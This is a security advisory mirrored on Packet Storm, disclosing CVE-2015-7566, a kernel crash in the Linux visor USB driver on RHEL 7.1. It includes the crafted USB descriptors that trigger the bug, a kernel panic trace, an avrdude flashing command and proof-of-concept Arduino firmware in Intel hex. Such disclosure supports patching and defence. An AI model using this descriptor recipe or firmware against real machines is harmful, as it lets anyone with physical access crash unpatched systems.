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Ralf SpennebergPACKETSTORM:136141
HistoryMar 09, 2016 - 12:00 a.m.

Linux visor clie_5_attach Null Pointer Dereference

2016-03-0900:00:00
Ralf Spenneberg
packetstormsecurity.com
32

0.004 Low

EPSS

Percentile

68.9%

`OS-S Security Advisory 2016-09  
Linux visor clie_5_attach Nullpointer Dereference   
  
Date: March 4th, 2016  
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg  
CVE: CVE-2015-7566  
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)  
Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid   
USB device descriptors (visor clie_5_attach driver)  
Severity: Critical. The Kernel panics. A reboot is required.  
Ease of Exploitation: Trivial  
Vulnerability type: Wrong input validation  
Products: RHEL 7.1 including all updates  
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the   
CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)  
Vendor: Red Hat  
Vendor contacted: November, 12th 2015  
PDF of advisory: https://os-s.net/advisories/OSS-2016-09_visor_clie_5_attach.pdf  
  
Abstract:  
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB   
device requiring the visor (clie_5_attach) driver.  
  
Detailed product description:  
We confirmed the bug on the following system:  
RHEL 7.1  
Kernel 3.10.0-229.20.1.el7.x86_64  
Further products or kernel versions have not been tested.  
How reproducible: Always  
Actual results: Kernel crashes.   
  
Description:  
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo   
(github.com/schumilo) using the following device descriptor:  
  
[*] Device-Descriptor  
bLength: 0x12  
bDescriptorType: 0x1  
bcdUSB: 0x200  
bDeviceClass: 0x3  
bDeviceSubClass: 0x0  
bDeviceProtocol: 0x0  
bMaxPacketSize: 0x40  
idVendor: 0x54c  
idProduct: 0x144  
bcdDevice: 0x100  
iManufacturer: 0x1  
iProduct: 0x2  
iSerialNumbers: 0x3  
bNumConfigurations: 0x1  
  
  
  
The clie_5_attach function of the visor driver, which is called during the   
driver initialization process, expects an OUT-Bulk-Endpoint.   
Due to an incomplete sanity check, the visor driver tries to dereference null-  
pointers.   
This results in a crash of the system.   
  
  
  
  
****  
$ nm visor.ko.debug | grep clie_5_attach  
0000000000000030 t clie_5_attach  
$ addr2line -e visor.ko.debug 6d  
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/drivers/usb/serial/visor.c:610  
****  
  
**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/usb/serial/visor.c)  
...  
607  
608 pipe = usb_sndbulkpipe(serial->dev, port->bulk_out_endpointAddress);  
609 for (j = 0; j < ARRAY_SIZE(port->write_urbs); ++j)  
610 port->write_urbs[j]->pipe = pipe; /* if there is no configured OUT-  
bulk-endpoint, the kernel tries to dereference null-pointers */  
611  
612 return 0;  
613 }  
...  
****  
  
  
[*] Configuration-Descriptor  
bLength: 0x9  
bDescriptorType: 0x2  
wTotalLength: 0x27  
bNumInterfaces: 0x1  
bConfigurationValue: 0x1  
iConfiguration: 0x0  
bmAttributes: 0x0  
bMaxPower: 0x31  
[*] Interface-Descriptor  
bLength: 0x9  
bDescriptorType: 0x4  
bInterfaceNumber: 0x0  
bAlternateSetting: 0x0  
bNumEndpoints: 0x3  
bInterfaceClass: 0x0  
bInterfaceSubClass: 0x0  
bInterfaceProtocol: 0x0  
[*] Endpoint-Descriptor:  
bLength: 0x7  
bDescriptorType: 0x5  
bEndpointAddress: 0x81  IN-Direction  
bmAttribut: 0x1  ISO-Transfer  
wMaxPacketSize: 0x404  
bInterval: 0xc  
[*] Endpoint-Descriptor:  
bLength: 0x7  
bDescriptorType: 0x5  
bEndpointAddress: 0x1 OUT-Direction  
bmAttribut: 0x1 ISO-Transfer (change this   
value to 0x2, which is the value for bulk-transfer without additional   
features, and the visor driver won't crash)  
wMaxPacketSize: 0x4  
bInterval: 0xc  
[*] Endpoint-Descriptor:  
bLength: 0x7  
bDescriptorType: 0x5  
bEndpointAddress: 0x82 IN-Direction  
bmAttribut: 0x1 ISO-Transfer  
wMaxPacketSize: 0x4  
bInterval: 0xc  
  
Proof of Concept:  
For a proof of concept, we are providing an Arduino Leonardo firmware file. This   
firmware will emulate the defective USB device.  
  
  
avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U   
flash:w:binary.hex  
  
  
The firmware has been attached to this bug report.  
To prevent the automated delivery of the payload, a jumper may be used to   
connect port D3 and 3V3!  
  
Severity and Ease of Exploitation:  
The vulnerability can be easily exploited. Using our Arduino Leonardo firmware,   
only physical access to the system is required.  
  
Vendor Communication:  
We contacted Red Hat on the November, 12th 2015.  
This bug was fixed upstream. A CVE number was not assigned.  
  
References:  
https://bugzilla.redhat.com/show_bug.cgi?id=1283371  
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=cb3232138e37129e88240a98a1d2aba2187ff57c  
  
  
Kernel Stacktrace:  
  
  
[ 34.568077] usb 1-1: new full-speed USB device number 2 using xhci_hcd  
[ 34.791731] usb 1-1: New USB device found, idVendor=054c, idProduct=0144  
[ 34.795463] usb 1-1: New USB device strings: Mfr=1, Product=2,   
SerialNumber=3  
[ 34.799619] usb 1-1: Product: ĉ  
[ 34.804592] usb 1-1: Manufacturer: ĉ  
[ 34.810144] usb 1-1: SerialNumber: %  
[ 34.872285] usbcore: registered new interface driver visor  
[ 34.879838] usbserial: USB Serial support registered for Handspring Visor /   
Palm OS  
[ 34.890481] usbserial: USB Serial support registered for Sony Clie 5.0  
[ 34.897769] usbserial: USB Serial support registered for Sony Clie 3.5  
[ 34.914162] visor 1-1:1.0: Sony Clie 5.0 converter detected  
[ 34.920288] BUG: unable to handle kernel NULL pointer dereference at   
0000000000000058  
[ 34.921136] IP: [<ffffffffa039306d>] clie_5_attach+0x3d/0x60 [visor]  
[ 34.921136] PGD 0   
[ 34.921136] Oops: 0002 [#1] SMP   
[ 34.921136] Modules linked in: visor(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT   
xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables   
ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle   
ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat   
nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack   
iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm   
ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4   
i2c_core serio_raw parport_pc parport xfs libcrc32c sd_mod sr_mod crc_t10dif   
cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy   
dm_mirror dm_region_hash dm_log dm_mod  
[ 34.921136] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted   
3.10.0-229.14.1.el7.x86_64 #1  
[ 34.921136] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS   
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014  
[ 34.921136] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000  
[ 34.921136] RIP: 0010:[<ffffffffa039306d>] [<ffffffffa039306d>]   
clie_5_attach+0x3d/0x60 [visor]  
[ 34.921136] RSP: 0018:ffff88000bd23a80 EFLAGS: 00010286  
[ 34.921136] RAX: 00000000c0000200 RBX: ffff88000af979d0 RCX: 0000000000000000  
[ 34.921136] RDX: ffff88000be6b000 RSI: ffff88000af979c0 RDI: ffff88000af979c0  
[ 34.921136] RBP: ffff88000bd23a80 R08: 0000000000000000 R09: 0000000000000000  
[ 34.921136] R10: 0000000000000000 R11: ffff88000c3b9800 R12: ffff88000af979d0  
[ 34.921136] R13: ffff88000c525830 R14: ffff88000af979c0 R15: ffffffffa0395200  
[ 34.921136] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000)   
knlGS:0000000000000000  
[ 34.921136] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b  
[ 34.921136] CR2: 0000000000000058 CR3: 000000000d2a1000 CR4:   
00000000000006f0  
[ 34.921136] DR0: 0000000000000000 DR1: 0000000000000000 DR2:   
0000000000000000  
[ 34.921136] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400  
[ 34.921136] Stack:  
[ 34.921136] ffff88000bd23c18 ffffffff8145fed1 0000000000000007 000000020bd23af8  
[ 34.921136] ffff88000c525830 0000000000000000 0000000000000000 ffffffff00000000  
[ 34.921136] ffff88000bcd0000 ffff880000000001 ffff88000bcd0090 0000000000000000  
[ 34.921136] Call Trace:  
[ 34.921136] [<ffffffff8145fed1>] usb_serial_probe+0xdb1/0x1230  
[ 34.921136] [<ffffffff812d649c>] ? ida_get_new_above+0x7c/0x2a0  
[ 34.921136] [<ffffffff811aba6a>] ? kmem_cache_alloc+0x1ba/0x1d0  
[ 34.921136] [<ffffffff8123e5b2>] ? sysfs_addrm_finish+0x42/0xe0  
[ 34.921136] [<ffffffff8123e391>] ? __sysfs_add_one+0x61/0x100  
[ 34.921136] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0  
[ 34.921136] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390  
[ 34.921136] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0  
[ 34.921136] [<ffffffff813d3420>] ? __device_attach+0x40/0x40  
[ 34.921136] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0  
[ 34.921136] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20  
[ 34.921136] [<ffffffff8145ec4b>] usb_serial_register_drivers+0x29b/0x580  
[ 34.921136] [<ffffffffa0398000>] ? 0xffffffffa0397fff  
[ 34.921136] [<ffffffffa039801e>] usb_serial_module_init+0x1e/0x1000 [visor]  
[ 34.921136] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230  
[ 34.921136] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40  
[ 34.921136] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0  
[ 34.921136] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150  
[ 34.921136] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0  
[ 34.921136] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b  
[ 34.921136] Code: 28 48 8b 57 20 0f b6 80 28 02 00 00 88 82 28 02 00 00 48   
8b 0f c1 e0 0f 0d 00 00 00 c0 8b 09 c1 e1 08 09 c8 48 8b 8a 10 02 00 00 <89>   
41 58 48 8b 92 18 02 00 00 89 42 58 31 c0 5d c3 66 90 b8 ff   
[ 34.921136] RIP [<ffffffffa039306d>] clie_5_attach+0x3d/0x60 [visor]  
[ 34.921136] RSP <ffff88000bd23a80>  
[ 34.921136] CR2: 0000000000000058  
[ 35.341720] ---[ end trace b239663354a1c556 ]---  
[ 35.347341] Kernel panic - not syncing: Fatal exception  
[ 35.348314] drm_kms_helper: panic occurred, switching back to text console  
  
  
  
Arduino Leonardo Firmware:  
  
:100000000C94A8000C94C5000C94C5000C94C50079  
:100010000C94C5000C94C5000C94C5000C94C5004C  
:100020000C94C5000C94C5000C94C4050C942F04CA  
:100030000C94C5000C94C5000C94C5000C94C5002C  
:100040000C94C5000C94C5000C94C5000C94C5001C  
:100050000C94C5000C94C5000C94C5000C940E02C1  
:100060000C94C5000C94C5000C94C5000C94C500FC  
:100070000C94C5000C94C5000C94C5000C94C500EC  
:100080000C94C5000C94C5000C94C5000C94C500DC  
:100090000C94C5000C94C5000C94C5000C94C500CC  
:1000A0000C94C5000C94C5000C94C5000B030E0302  
:1000B000010305032F032F032F03120316031A0353  
:1000C000200324032F032A030000000200080E006F  
:1000D00000030401000B000000000000000000000D  
:1000E00000000000000004080201104080401020C1  
:1000F00040804080080204018040201002011080EE  
:100100001020404004040404040304050202020217  
:1001100004030202020206060606060604040202A0  
:100120000204000000002300260029002C002F00FC  
:1001300000000000250028002B002E0031000000E8  
:100140000000240027002A002D00300000C180811B  
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077  
:10016000B1E0E4EDF3E102C005900D92A436B107D1  
:10017000D9F725E0A4E6B5E001C01D92AF37B2077C  
:10018000E1F70E94C8000C9404070C940000089545  
:10019000CF93DF93CDB7DEB7CD59D1090FB6F89421  
:1001A000DEBF0FBECDBF0E94A1020E94C70060E06B  
:1001B00083E00E94300361E087E00E94300361E049  
:1001C00088E00E9430030E9459067E012AE9E20E6F  
:1001D000F11C84E093E0D70111969C938E9389E003  
:1001E00094E013969C938E93129782E2E2E1F1E001  
:1001F0009E012F5F3F4F6901D90101900D928A95B1  
:10020000E1F788E1E4E3F1E0DE01939601900D92DD  
:100210008A95E1F782E1ECE4F1E0DE01DB96019002  
:100220000D928A95E1F789E0EEE5F1E0DE01A05953  
:10023000BF4F01900D928A95E1F72A593F4F99E0FF  
:10024000992ED901E92D1D92EA95E9F78E010957FA  
:100250001F4F87E0E7E6F1E0D80101900D928A9503  
:10026000E1F7BE0160587F4F87E0EEE6F1E0DB0189  
:1002700001900D928A95E1F7AE0147585F4F87E0F4  
:10028000E5E7F1E0DA0101900D928A95E1F75E0170  
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:1002F000AE921C971183008373836283558344837A  
:100300000C5211092CE0F80111922A95E9F721E02D  
:10031000D80119962C931997FE01E059FF4F0190CF  
:100320000D929A94E1F7F8019387828761E088E063  
:100330000E9469038BE492E00E94650688E892E0DF  
:100340000E94650687EC92E00E94650686E093E0D5  
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:100360000E94650684EA93E00E9465068BEE93E0A6  
:100370000E94650683E00E949F03892B09F047C015  
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:1004100070E080E090E00E947B02ACCF1F920F92D0  
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:10043000BF938091650590916605A0916705B09185  
:1004400068053091640523E0230F2D3720F40196D1  
:10045000A11DB11D05C026E8230F0296A11DB11DE7  
:10046000209364058093650590936605A0936705C6  
:10047000B09368058091690590916A05A0916B051C  
:10048000B0916C050196A11DB11D809369059093F3  
:100490006A05A0936B05B0936C05BF91AF919F91D6  
:1004A0008F913F912F910F900FBE0F901F90189535  
:1004B0003FB7F8948091690590916A05A0916B050A  
:1004C000B0916C0526B5A89B05C02F3F19F0019689  
:1004D000A11DB11D3FBF6627782F892F9A2F620F6C  
:1004E000711D811D911D42E0660F771F881F991FA6  
:1004F0004A95D1F70895CF92DF92EF92FF92CF9372  
:10050000DF936B017C010E945802EB01C114D104FE  
:10051000E104F10479F00E9458026C1B7D0B683EE7  
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:1005D000EAE7F0E0808184608083808182608083AC  
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:1006C00004C0F8948C91822B8C939FBFDF91CF91C3  
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:1006E000282F30E0F901E853FF4F8491F901EA51D6  
:1006F000FF4F1491F901EC5FFE4F04910023C9F004  
:10070000882321F069830E94F7026981E02FF0E0DD  
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:100720008C91611103C01095812301C0812B8C93A2  
:100730009FBF0F90DF91CF911F910F910895CF939D  
:10074000DF93282F30E0F901E853FF4F8491F9013E  
:10075000EA51FF4FD491F901EC5FFE4FC491CC23D5  
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:100880002F933F934F935F936F937F938F939F9398  
:10089000AF93BF93EF93FF93CF93DF93CDB7DEB7C3  
:1008A0006297DEBFCDBF1092E9008091E80083FF20  
:1008B00046C168E0CE010A960E94C80382EF809389  
:1008C000E8009A8597FF05C08091E80080FFFCCF83  
:1008D00003C08EEF8093E800892F807609F023C152  
:1008E0008B85811105C01092F1001092F10020C19A  
:1008F000282F2D7F213009F41BC1853049F48091C8  
:10090000E80080FFFCCF8C8580688093E30010C1F5  
:10091000863009F0E1C02D8508891989223009F057  
:10092000B3C0EC848E2D90E0209173053091740556  
:10093000821793070CF09FC00E94D5031F92EF927D  
:100940008DE394E09F938F930E9483068CE0E89E52  
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`
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0.004 Low

EPSS

Percentile

68.9%

Related for PACKETSTORM:136141